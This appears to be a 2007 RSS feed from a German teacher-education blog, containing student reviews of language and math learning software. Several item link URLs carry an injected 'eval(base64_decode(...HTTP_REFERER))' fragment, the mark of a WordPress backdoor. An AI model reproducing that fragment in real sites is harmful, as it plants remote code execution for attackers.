<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Autonomes Arbeiten m&#246;glich? Ja, allerdings wird Hilfestellung des Lehrers ben&#246;tigt f&#252;rs &#220;bersetzen der Grammatik- Erl&#228;uterungen + Erkl&#228;rungen.</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Passung zu Lehrplan / Lehrb&#252;cher: (Begleitheft mit „Cuaderno explicativo“) Grammatik zum Thema des Lehrplans einbindbar.</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Unterst&#252;tzung beim &#220;ben? Keine</font></font></font></p>
<ul>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">f&#252;r Lehrer/in: Guía, L&#246;sungen auf CD</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">zu Hause einsetzbar</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">alles ein Niveau, keine Binnendifferenzierung</font></font></font></p>
</li>
</ul>
<p align="left">&nbsp;</p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Bewertung: ☼ ☼ ☼</font></font></font></p>
<p align="left">&nbsp;</p>
<p align="left">&nbsp;</p>
<p align="center"><font color="#000000"><font face="Arial, sans-serif"><font size="4"><u><strong>Didaktik</strong></u></font></font></font></p>
<p align="left">&nbsp;</p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Interaktionsm&#246;glichkeiten: mit Internetanschlu&#223; ist Interaktion auch m&#246;glich. Durch Links wird zum Teil auf andere Seiten verwiesen.</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Ansatz: konstruierend</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">hnadlungsorientiert</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">nicht altersangemessen</font></font></font></p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Verschiedene Darstellungsformen: multimedial und schriftlich / visuell, Auditiv, Textuell</font></font></font></p>
<ul>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">keine Multiple Perspektiven / einsichtig</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Anschaulichkeit: triste</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Transferaufgaben m&#246;glich</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">L&#246;sen komplexe Probleme: Grammatik durch &#220;bungsaufgaben</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">abwechslungsreiche Aufgaben</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">verschieden Lerntypen ansprechend</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Grammatik und Vokabel-&#220;bersicht mit Vernetzung zu den &#220;bungen</font></font></font></p>
</li>
</ul>
<p align="left">&nbsp;</p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Bewertung: ☼ ☼ ☼ ☼</font></font></font></p>
<p align="left">&nbsp;</p>
<p align="center">&nbsp;</p>
<p align="center"><font color="#000000"><font face="Arial, sans-serif"><font size="4"><u><strong>Lernerfolge-R&#252;ckmeldung</strong></u></font></font></font></p>
<p align="center">&nbsp;</p>
<ul>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">viele R&#252;ckmeldungen durch Ton, aber immer nur richtig / falsch</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">L&#246;sungen gleich abrufbar, raten m&#246;glich</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Fehler werden erkannt, weil nichts mehr machbar ist</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">nur eine L&#246;sungsm&#246;glichkeit</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">kein konstruktiver Umgang mit Fehlern vorhanden</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">keine Visualisierung des Lernerfolgs, nur durch Audio / nerviger Ton</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">keine Highscores Belohnungen</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">L&#246;sungen vorgegeben, aber keine Beispiele</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Beispiele nur in der Grammatik-Sektion vorhanden</font></font></font></p>
</li>
</ul>
<p align="left">&nbsp;</p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Bewertung: ☼ </font></font></font></p>
<p align="left">&nbsp;</p>
<p align="left">&nbsp;</p>
<p align="center"><font color="#000000"><font face="Arial, sans-serif"><font size="4"><u><strong>Spa&#223; &amp; Gestaltung</strong></u></font></font></font></p>
<p align="center">&nbsp;</p>
<ul>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">unsystematische Schwierigkeitstuffen</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Aufgaben sind abwechslungsreich</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">nicht interessenf&#246;rdernd</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">nicht Flow f&#246;rdernd</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">keine einfache Handhabung / begrenzt und mit Handbuch</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">kein langfristiger Spielspa&#223;</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">sehr einfache Grafik</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">kein abwechslungsreicher Sound</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">sehr stabile Software (keine Abst&#252;rze), da ein sehr kleines Programm. Von CD abspielbar. Die Software wurde mit Macromedia entworfen (leider aber nicht sehr professionell gestatet)</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">die Software bietet keine Speicherm&#246;glichkeiten der &#220;bungen an, so das man nicht weiter arbeiten kann wo man aufgeh&#246;rt hatte (History). Es ist trotzdem m&#246;glich durch die Software zu navigieren mit der Hilfe der „Mapa“-Funktion. Nat&#252;rlich sehr nervig</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">gro&#223;e Etappen, 3 Lieder + dreiteiliger Aufbau (A- Sala de audición, B- Explorando la canción und C- Aula de Español)</font></font></font></p>
</li>
<li>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">adaptiver Schwierigkeitsgrad duch den Lehrer</font></font></font></p>
</li>
</ul>
<p align="left">&nbsp;</p>
<p align="left"><font color="#000000"><font face="Arial, sans-serif"><font size="3">Bewertung: ☼ ☼</font></font></font></p>
<p align="left">&nbsp;</p>
<p align="left">&nbsp;</p>
<p align="center"><font size="3"><font face="Arial, sans-serif"><font color="#000000"><strong><u>Gasamtbewertung:</u></strong> ☼ ☼</font></font></font></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Sprachtrainer Franz&#246;sisch im Unterricht</title>
		<link>http://www.didactalab.de/teachlab/2007/07/11/sprachtrainer-franzoesisch-im-unterricht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Wed, 11 Jul 2007 15:53:59 +0000</pubDate>
		<dc:creator>Meike</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=341</guid>
		<description><![CDATA[M&#246;glichkeiten des Einsatzes der Lernsoftware „Sprachtrainer Franz&#246;sisch“ im Schulunterricht (Klett-Verlag, 1. Lernjahr)   Ausgearbeitet von Verena Mitzka und Meike Niemeyer   Voraussetzung f&#252;r den Einsatz der Lernsoftware „Sprachtrainer Franz&#246;sisch“ im Unterricht ist es, dass im Unterricht mit dem Schulbuch „Découvertes“ oder „Tous ensemble“ gearbeitet wird, da die Inhalte der Lernsoftware mit denen der Schulb&#252;cher &#252;bereinstimmen. [...]]]></description>
			<content:encoded><![CDATA[<p><strong>M&#246;glichkeiten des Einsatzes der Lernsoftware „Sprachtrainer Franz&#246;sisch“ im Schulunterricht (Klett-Verlag, 1. Lernjahr)</strong></p>
<p><strong> </strong></p>
<p><strong>Ausgearbeitet von Verena Mitzka und Meike Niemeyer </strong></p>
<p><strong> </strong></p>
<p>Voraussetzung f&#252;r den Einsatz der Lernsoftware „Sprachtrainer Franz&#246;sisch“ im Unterricht ist es, dass im Unterricht mit dem Schulbuch „Découvertes“ oder „Tous ensemble“ gearbeitet wird, da die Inhalte der Lernsoftware mit denen der Schulb&#252;cher &#252;bereinstimmen. </p>
<p> </p>
<p>1. Die Lernsoftware kann vor einer Klassenarbeit im Franz&#246;sischunterricht zum Einsatz kommen: Die Sch&#252;lerinnen und Sch&#252;ler k&#246;nnen mittels der &#220;bungen, die die Lernsoftware anbietet, die Lerninhalte vertiefen und &#252;ben, die in der Klassenarbeit Thema sind.</p>
<p>Die Vorbereitung auf die Klassenarbeit mithilfe der Lernsoftware kann in Einzel- oder Partnerarbeit geschehen. Arbeiten die Sch&#252;lerinnen und Sch&#252;ler in Paaren zusammen, so besteht die M&#246;glichkeit, dass sich die Lernenden gegenseitig helfen: Die Sch&#252;lerinnen und Sch&#252;ler erkl&#228;ren einander beispielsweise die unterschiedlichen Vokabel- oder Grammatikaspekte. Sie lernen voneinander. </p>
<p>Reflektieren die Sch&#252;lerinnen und Sch&#252;ler den Stoff, der in der n&#228;chsten Klassenarbeit abgefragt wird, so ergeben sich m&#246;glicherweise Fragen, da doch noch nicht alles verstanden worden ist. Der Lehrer kann in dieser Situation helfen und auf einzelne Sch&#252;ler/innen individuell eingehen.</p>
<p> </p>
<p>2. Hinter der Rubrik „Kommunikation“ verbirgt sich f&#252;r jede Lektion ein Lehrfilm. Dieser hat eine Dauer von durchschnittlich zehn Minuten. </p>
<p>Der Lehrer / Die Lehrerin kann mithilfe eines Beamers den Film an die Wand projizieren und der Klasse zeigen. </p>
<p>Ziel ist es, dass die Sch&#252;lerinnen und Sch&#252;ler ihr H&#246;rverst&#228;ndnis trainieren. </p>
<p>Nach der ein- oder mehrmaligen Pr&#228;sentation des Films kann &#252;ber dessen Inhalt gesprochen werden.</p>
<p>Auf der Lernsoftware finden sich auch passend zu den einzelnen Filmen &#220;bungen. </p>
<p>Diese k&#246;nnen ausgedruckt werden und den Sch&#252;lerinnen und Sch&#252;lern zur Bearbeitung vorgelegt werden.            </p>
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		</item>
		<item>
		<title>&#8220;Themenpark Ern&#228;hrung&#8221; im Unterricht</title>
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		<pubDate>Wed, 11 Jul 2007 15:19:48 +0000</pubDate>
		<dc:creator>Nadine</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[(Eva J., André B., Nadine B.) Wie wir bereits w&#228;hrend unserer Pr&#228;sentation des Themenparks erw&#228;hnt haben, halten wir diese Software f&#252;r lehrerzentriert. Da es bei diesem Programm auch viel mehr um den Editor an sich und schlie&#223;lich zweitrangig um das Thema &#8220;Ern&#228;hrung&#8221; geht, sind wir der Meinung, dass es sich nicht lohnt diesen Themenpark im [...]]]></description>
			<content:encoded><![CDATA[<p>(Eva J., André B., Nadine B.)</p>
<p>Wie wir bereits w&#228;hrend unserer Pr&#228;sentation des Themenparks erw&#228;hnt haben,  halten wir diese Software f&#252;r lehrerzentriert.  Da es bei diesem Programm auch viel mehr um den Editor an sich und schlie&#223;lich zweitrangig um das Thema &#8220;Ern&#228;hrung&#8221; geht, sind wir der Meinung, dass es sich nicht lohnt diesen Themenpark im Unterricht einzusetzen.</p>
<p>Die einzige einigerma&#223;en sinnvolle M&#246;glichkeit dieses Programm im Unterricht einzusetzen, sehen wir ansonsten nur in der Verwendung der Fotos, Gem&#228;lde, etc. beim Erstellen einer Collage zum gegebenen Thema. Da die Anwendung dieser Software eher kompliziert ist, empfiehlt es sich, diese erst ab der 8./9. Klasse einzusetzen.</p>
<p>Ausf&#252;hrliche Beschreibung des Themenparks:<a href="http://www.didactalab.de/teachlab/?p=284#more-284" title="hier"> hier</a></p>
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		</item>
		<item>
		<title>Rosetta Stone – Sprachen lernen leicht gemacht?!</title>
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		<pubDate>Wed, 11 Jul 2007 13:59:47 +0000</pubDate>
		<dc:creator>Karin</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Reflektionen]]></category>

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		<description><![CDATA[M&#246;gliche Verwendbarkeit im Unterricht (Oliver Voigt, Karin Ensminger, Tino Kluck, Claas Unruh) Vielseitigkeit Zun&#228;chst einmal sollte erw&#228;hnt werden, dass das Sprachlernprogramm Rosetta Stone in &#252;ber 30 Sprachen erh&#228;ltlich ist. Somit sollte das Programm auch f&#252;r jede an Schulen angebotene Fremdsprache verf&#252;gbar sein; ob nun das klassische Englisch, das selten angebotene Mandarin oder AGs ganz anderer [...]]]></description>
			<content:encoded><![CDATA[<p><strong>M&#246;gliche Verwendbarkeit im Unterricht</strong></p>
<p><strong>(Oliver Voigt, Karin Ensminger, Tino Kluck, Claas Unruh)<br />
</strong></p>
<p><strong>Vielseitigkeit</strong></p>
<p>Zun&#228;chst einmal sollte erw&#228;hnt werden, dass das Sprachlernprogramm Rosetta Stone in &#252;ber 30 Sprachen erh&#228;ltlich ist. Somit sollte das Programm auch f&#252;r jede an Schulen angebotene Fremdsprache verf&#252;gbar sein; ob nun das klassische Englisch, das selten angebotene Mandarin oder AGs ganz anderer Sprachen, wie beispielsweise Schwedisch.</p>
<p><strong>Kompatibilit&#228;t</strong></p>
<p>Das vorgestellte Programm ist an keinen Lehrplan gebunden und somit Schulbuch unabh&#228;ngig zu verwenden. Dieses k&#246;nnte einerseits als Problem gesehen werden, da viele der Vokabeln des Programms nicht mit der Lernreihenfolge der Schulb&#252;cher decken, und die Lerner so m&#246;glicherweise verwirrt sind. Andererseits ist es auch eine Bereicherung, wenn die unbekannten W&#246;rter in Rosetta Stone als Erg&#228;nzung zum bereits vorhandenen Wortschatz gesehen werden.</p>
<p><strong>Einsatz im Unterricht</strong></p>
<p>Im laufenden Fremdsprachenunterricht in der Schule ist das Programm maximal als Zusatzaufgabe f&#252;r besonders interessierte Sch&#252;ler/innen verwendbar. Hier bietet es sich zum Beispiel an, je nach Niveau der Lerner, eine Lektion pro Monat (Lesen, Schreiben, Sprechen, H&#246;ren) als „Hausaufgabe“ aufzugeben.</p>
<p>Viel besser aber scheint der Einsatz in AGs; ob nun eine einsprachige AG (z.B. Italienisch) oder, m&#246;glicherweise im Zuge einer Projektwoche, eine Fremdsprachen-AG. Gerade letzteres w&#228;re bei der heutigen Diskussion um die Ausbildung zur so genannten „Multiliteracy“ eine interessante Idee. Hier k&#246;nnten die Sch&#252;ler sich in mehreren Sprachen versuchen. Zu Beginn des Projektes kann den Sch&#252;ler/innen ein Kanon von, sagen wir, 10 Sprachen angeboten werden. Von diesen 10 ist es das Ziel jedes Sch&#252;lers/ jeder Sch&#252;lerin am Ende der Projektwoche von 4 dieser Sprachen das erste Level geschafft zu haben…</p>
<p>Auf der Ebene von Projekten gibt es nat&#252;rlich noch viel mehr M&#246;glichkeiten, hier sollen nur erste Denkanst&#246;&#223;e gegeben werden.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Mathetiger vs. Matheland</title>
		<link>http://www.didactalab.de/teachlab/2007/07/10/mathetiger-vs-matheland/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Tue, 10 Jul 2007 14:08:46 +0000</pubDate>
		<dc:creator>christa</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=338</guid>
		<description><![CDATA[von: Anna-Maria Kastner, Annette Fischer, Katja Nolte, Christa Zeglin, Natalie Miller, Susanne Kn&#246;fel  Mathetiger 1 / 2  Mathetiger 1 / 2: Erschienen 2003 im Mildenberger Verlag GmbH, Offenburg. Aktuelle Version: 2006 Au&#223;erdem erh&#228;ltlich: Mathetiger 3 / 4 Technische Voraussetzungen: Minimale Konfiguration - Windows95/98/2000(ME)/NT/XP™ - MacOS ab Version 7.6 (ohne MacOS X) - Pentium PC/Macintosh mit [...]]]></description>
			<content:encoded><![CDATA[<p><font face="Times New Roman">von: Anna-Maria Kastner, Annette Fischer, Katja Nolte, Christa Zeglin, Natalie Miller, Susanne Kn&#246;fel<strong><u></u></strong></font><strong><u><font face="Times New Roman"> </font></u></strong></p>
<p><strong><u><strong><u></u></strong></u></strong><strong><u><strong><u><font face="Times New Roman">Mathetiger 1 / 2</font></u></strong><strong><u><font face="Times New Roman"> </font></u></strong><strong><u><strong><u></u></strong></u></strong></u></strong></p>
<h1><font size="3"><font color="#111122"><font face="Times New Roman">Mathetiger 1 / 2: </font></font></font></h1>
<h1><font size="3"><font color="#111122"><font face="Times New Roman">Erschienen 2003 im Mildenberger Verlag GmbH, Offenburg. </font></font></font></h1>
<h1><font size="3"><font color="#111122"><font face="Times New Roman">Aktuelle Version: 2006</font></font></font></h1>
<h1><font size="3"><font color="#111122"><font face="Times New Roman">Au&#223;erdem erh&#228;ltlich: Mathetiger 3 / 4</font></font></font></h1>
<p><strong><strong><u><font face="Times New Roman">Technische Voraussetzungen:</font></u></strong></strong></p>
<p><strong><u></u></strong></p>
<p><strong><u>Minimale Konfiguration</u></strong><strong> </strong><strong><u></u><br />
<font face="Times New Roman">- Windows95/98/2000(ME)/NT/XP™<br />
- MacOS ab Version 7.6 (ohne MacOS X)<br />
- Pentium PC/Macintosh mit PowerPC-Prozessor 166 MHz<br />
- mind. 32 MB Arbeitsspeicher<br />
- 15”-Farbmonitor<br />
- 4fach-CD-ROM-Laufwerk<br />
- VGA-Grafikkarte mit einer Aufl&#246;sung von mind. 800 x 600 Pixel<br />
- 34 MB freier Festplattenspeicher bei Minimalinstallation (Home-und                  Klassenversion/Einzellizenz), 392 MB (Klassenversion/Schullizenz)</font><font face="Times New Roman"> </font></p>
<p></strong><u>Empfohlene Konfiguration</u></p>
<p><u></u><br />
<font face="Times New Roman">- Pentium II-PC/Power Mac 300 MHz<br />
- 64 MB RAM<br />
- Acrobat®-Reader mind. </font><font face="Times New Roman">Version 4 (auf der CD-ROM enthalten)</font></p>
<p><font face="Times New Roman"><u></u></font><u>Zusatzger&#228;te</u><font face="Times New Roman"> (optional)</font><br />
<font face="Times New Roman">- Soundkarte<br />
- Lautsprecher/Kopfh&#246;rer<br />
- Maus<br />
- Tastatur<br />
- Drucker</font><u><strong> </strong></u><u> </u></p>
<p><u><u></u></u><u></u><u></u><u><strong><u>Aufbau</u></strong></u></p>
<p><u><font face="Times New Roman">-         15 Level</font></u><u> </u><u><font face="Times New Roman">-         Kein Multiplayermodus</font></p>
<p></u><font face="Times New Roman">-         Spieldauer flexibel</font></p>
<p><font face="Times New Roman">-         Schwierigkeitsgrad beginnt bei „leicht“, erh&#246;ht sich automatisch je nach Bearbeitung &#252;ber „mittel“ bis „schwer“, bzw. senkt sich erneut, wenn das Programm eine &#220;berforderung feststellt</font></p>
<p><font face="Times New Roman">-         Schw&#228;chen werden aufgedeckt und individuell gef&#246;rdert</font></p>
<p><font face="Times New Roman">-         Daten werden automatisch gespeichert, zus&#228;tzlich besteht die M&#246;glichkeit manuell zu speichern, bzw. Daten zu laden</font></p>
<p><strong><u><font face="Times New Roman">Inhalt</font></u></strong></p>
<p><font face="Times New Roman">-         Sammeln von Dschungeltalern durch richtiges L&#246;sen von Matheaufgaben; Ergebnissicherung in einer Bestenliste</font></p>
<p><font face="Times New Roman"><strong><u></u></strong></font><font face="Times New Roman">-         Mathetiger begleitet Kinder durch das Programm (Erkl&#228;ren der Handhabung und Auswerten der Aufgaben)</font></p>
<p><font face="Times New Roman"><strong><u></u></strong></font><font face="Times New Roman">-         Aufgabenbereiche: Alle Rechenarten, Anzahlerfassung, Einmaleinsreihen von 1 -10, Kopfrechnen, Ordinalzahlen, Parkettierung und Figurenlegen, Tauschaufgaben – Multiplikation, Raum-Lage-Beziehung, Rechnen mit Geld, Uhr, Zeit und Zeitspanne, Verdoppeln und Halbieren, Zahlen Ordnen, Zahlen vergleichen, Zahlenstrahl, Zahlzerlegung</font></p>
<p><font face="Times New Roman"><strong><u></u></strong></font><font face="Times New Roman">-         Aufgabenstellung erfolgt visuell und akustisch (durch den Mathetiger)<strong><u></u></strong></font><font face="Times New Roman"> </font></p>
<p><u><strong>Gestaltung</strong></u></p>
<p><font face="Times New Roman">-         Farbwahl wenig ansprechend, steril, daf&#252;r aber wenig ablenkend</font></p>
<p><font face="Times New Roman"><strong><u></u></strong></font><font face="Times New Roman">-         Musikalische Untermalung sehr animierend, jedoch nur bei Start/Schlie&#223;ung der Software vorhanden</font></p>
<p><font face="Times New Roman"><strong><u></u></strong></font><font face="Times New Roman">-         Einsprachig (deutsch)</font></p>
<p><font face="Times New Roman"><strong><u></u></strong></font><font face="Times New Roman">-         Mathetiger spricht sehr monoton und langsam, W&#246;rter werden unauthentisch ausgesprochen</font></p>
<p><font face="Times New Roman"><strong><u></u></strong></font><font face="Times New Roman">-         Specialeffects nicht vorhanden</font></p>
<p><font face="Times New Roman"><strong><u></u></strong></font><u><strong>Bezug zu Kindern</strong></u></p>
<p><font face="Times New Roman">-         Selbstst&#228;ndiges Arbeiten in eigenem Tempo</font></p>
<p><font face="Times New Roman"><strong><u></u></strong></font><font face="Times New Roman">-         Aufgabenvielfalt und individuelle Differenzierung erm&#246;glichen Erfolgserlebnisse auf jedem Lernniveau, da sich der Schwierigkeitsgrad den individuellen F&#228;higkeiten der Kinder anpasst</font></p>
<p><font face="Times New Roman"><strong><u></u></strong></font><font face="Times New Roman">-         Abwechslung zum „normalen“ Matheunterricht</font></p>
<p><font face="Times New Roman"><strong><u></u></strong></font><font face="Times New Roman">-         Software bezieht sich &#252;berwiegend auf den Rahmenplan</font></p>
<p><font face="Times New Roman"><strong><u></u></strong></font><font face="Times New Roman">-         Hoher Beliebtheitsgrad bei Kindern<strong><u></u></strong></font><font face="Times New Roman"> </font></p>
<h1><u><font size="3"><font face="Times New Roman">Ausarbeitung zu Matheland</font></font></u></h1>
<p><strong><u><font face="Times New Roman">Allgemeine Informationen: </font></u></strong><u><font face="Times New Roman"> </font></u></p>
<p><font face="Times New Roman"> - es gibt 2 CDs ( Matheland 1+2, Matheland 3+4);</font></p>
<p><font face="Times New Roman">-  Auflage wurde 1998 in Berlin im Cornelson Verlag ver&#246;ffentlicht;</font></p>
<p><font face="Times New Roman">- Scheimann entwickelte Matheland in M&#252;nchen;</font></p>
<p><strong><u><font face="Times New Roman">Technische Voraussetzungen:</font></u></strong><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">- Pentium-100 oder h&#246;her</font></p>
<p><font face="Times New Roman">- 16 MB Arbeitsspeicher oder mehr</font></p>
<p><font face="Times New Roman">- 20 MB freier Festplattenspeicher</font></p>
<p><font face="Times New Roman">- Quadspeed-CD-Rom-Laufwerk</font></p>
<p><font face="Times New Roman">- Grafikaufl&#246;sung 800&#215;600, 256 Farben</font></p>
<p><font face="Times New Roman">- directX-f&#228;hige Grafikkarte</font></p>
<p><font face="Times New Roman">- 16 bit Soundkarte</font></p>
<p><font face="Times New Roman">- Windows 95</font><u><font face="Times New Roman"> </font></u><u> </u></p>
<p><u><u></u></u><u><strong><u><font face="Times New Roman">Aufbau: </font></u></strong><u><font face="Times New Roman"> </font></u></u><u> </u><u><u><font face="Times New Roman">-         ist nicht in Level aufgeteilt, sondern in eine Geschichte eingebettet;</font></u></p>
<p></u><u><font face="Times New Roman"><u></u></font><font face="Times New Roman">-         zu Beginn wird der Spieler aufgefordert seinen Namen und sein Geschlecht anzugeben</font></u><u><font face="Times New Roman"><u></u></font><font face="Times New Roman">-         auf der Startseite wird eine Geschichte erz&#228;hlt; auf diese Art und Weise wird der Spieler in die Spielregeln und Handlung eingef&#252;hrt;</font></p>
<p></u><font face="Times New Roman"><u></u></font><font face="Times New Roman">-         die Lernsoftware kann nur ein Spieler nutzen, sein Name wird automatisch gespeichert;</font></p>
<p><font face="Times New Roman"><u></u></font><font face="Times New Roman">-         Spieldauer ist unbegrenzt;</font></p>
<p><font face="Times New Roman"><u></u></font><font face="Times New Roman">-         die Aufgaben werden auf das Leistungsniveau des Kindes angepasst;<u></u></font><font face="Times New Roman"> </font></p>
<p><strong><u></u></strong></p>
<p><strong><u><font face="Times New Roman"> Inhalt:</font></u></strong><u><font face="Times New Roman"> </font></u><u> </u></p>
<p><u><font face="Times New Roman">-         Auffinden des versteckten Magiers </font></u></p>
<p><u></u><u><font face="Times New Roman">-         erkunden verschiedener Orte mit unterschiedlichen Aufgabenstellungen-&gt; Erreichen der Orte mit „Taxi“, Geld daf&#252;r wird durch Aufgabenl&#246;sung „verdient“</font></u><u> </u><u><font face="Times New Roman">-         Begleitung der Sch&#252;lerInnen durch Raketenm&#228;nnchen</font></p>
<p></u><font face="Times New Roman">-         Aufgaben umfassen: Orientierung im Zahlenraum; Addition und Subtraktion; Multiplikation und Division; Sch&#228;tzen; Blitzrechnen/Kopfrechnen; R&#228;umliches Vorstellungsverm&#246;gen; Rechnen mit Geld; Sch&#228;tzen von L&#228;ngen und Fl&#228;cheninhalten und Sachrechnen</font><font face="Times New Roman"> </font></p>
<p><strong><u></u></strong></p>
<p><strong><u><font face="Times New Roman">Gestaltung:</font></u></strong><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">-         sehr farbenfroh;</font></p>
<p><font face="Times New Roman">-         kindsgerecht gemalt, alles sehr gro&#223; und leicht erkennbar;</font></p>
<p><font face="Times New Roman">-         Musik wird kaum verwendet</font></p>
<p><font face="Times New Roman">-         es wird sehr langsam und deutlich gesprochen;</font><font face="Times New Roman"> </font></p>
<p><u></u><u><u></u></u><u><strong><u><font face="Times New Roman">Bezug zu den Kindern:</font></u></strong><u><font face="Times New Roman"> </font></u></u><u><u><font face="Times New Roman">-         Kinder lernen den Umgang mit Zahlen auf eine spielerische Art und Weise</font></u></p>
<p></u><u><font face="Times New Roman">-         Lernen verschiedene Rechenoperationen;</font></u><u><font face="Times New Roman"><u></u></font><font face="Times New Roman">-         offene Aufgaben erm&#246;glichen den Kindern in ihrem Tempo und auf ihrem eigenen Schwierigkeitsniveau selbst&#228;ndig zu lernen;</font></p>
<p></u><font face="Times New Roman"><u></u></font><font face="Times New Roman">-         Abwechselung zum Unterricht<u></u></font><font face="Times New Roman"> </font></p>
<p><strong><u><font size="5" face="Times New Roman">Gesamt Fazit</font></u></strong></p>
<p><font face="Times New Roman">Der Mathetiger verfolgt zwar keine durchgezogene Handlung, seine Bedienung f&#228;llt jedoch, aufgrund des einfachen Aufbaus, sehr viel leichter als bei Matheland. Denn im Matheland sind die Aufgaben in den Hintergrund integriert und somit nicht so leicht zu entdecken. Des Weiteren bietet der graphisch aufwendig gestaltete Hintergrund des Mathelandes in jeder Situation gro&#223;es Ablenkungspotential, da es &#252;berall und jederzeit (auch w&#228;hrend der Bearbeitungsphasen) etwas zu entdecken gibt.</font></p>
<p><font face="Times New Roman">Ein weiterer Vorteil des Mathetigers ist die Visualisierung der Aufgabenstellungen, auf die man bei Bedarf jederzeit erneut zur&#252;ckgreifen kann, zus&#228;tzlich zur akustischen Wiedergabe. Dies ist, angesichts der h&#228;ufig sp&#228;rlichen Ausstattung der Computer in Grundschulen (z.B. fehlende Kopfh&#246;rer), von Bedeutung.</font></p>
<p><font face="Times New Roman">Auch bei der Bearbeitung der Aufgaben f&#228;llt der Mathetiger positiv auf, da er im Falle eines Fehlers Hilfestellungen zur richtigen L&#246;sung erteilt.</font></p>
<p><font face="Times New Roman">F&#252;r die Lehrenden besonders vorteilhaft ist die gute Dokumentation der Bearbeitungen, die aufzeigen welche Aufgaben mit welchem Erfolg gel&#246;st wurden.</font></p>
<p><font face="Times New Roman">Insgesamt sind wir somit der Meinung, dass sich Mathetiger 1 / 2 f&#252;r den Einsatz im Mathematikunterricht besser eignet als Matheland 1 / 2.</font></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vorstellung der Lernsoftware &#8220;Der Zahlenteufel&#8221;</title>
		<link>http://www.didactalab.de/teachlab/2007/07/10/vorstellung-der-lernsoftware-der-zahlenteufel/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Tue, 10 Jul 2007 09:20:17 +0000</pubDate>
		<dc:creator>karokitty</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=332</guid>
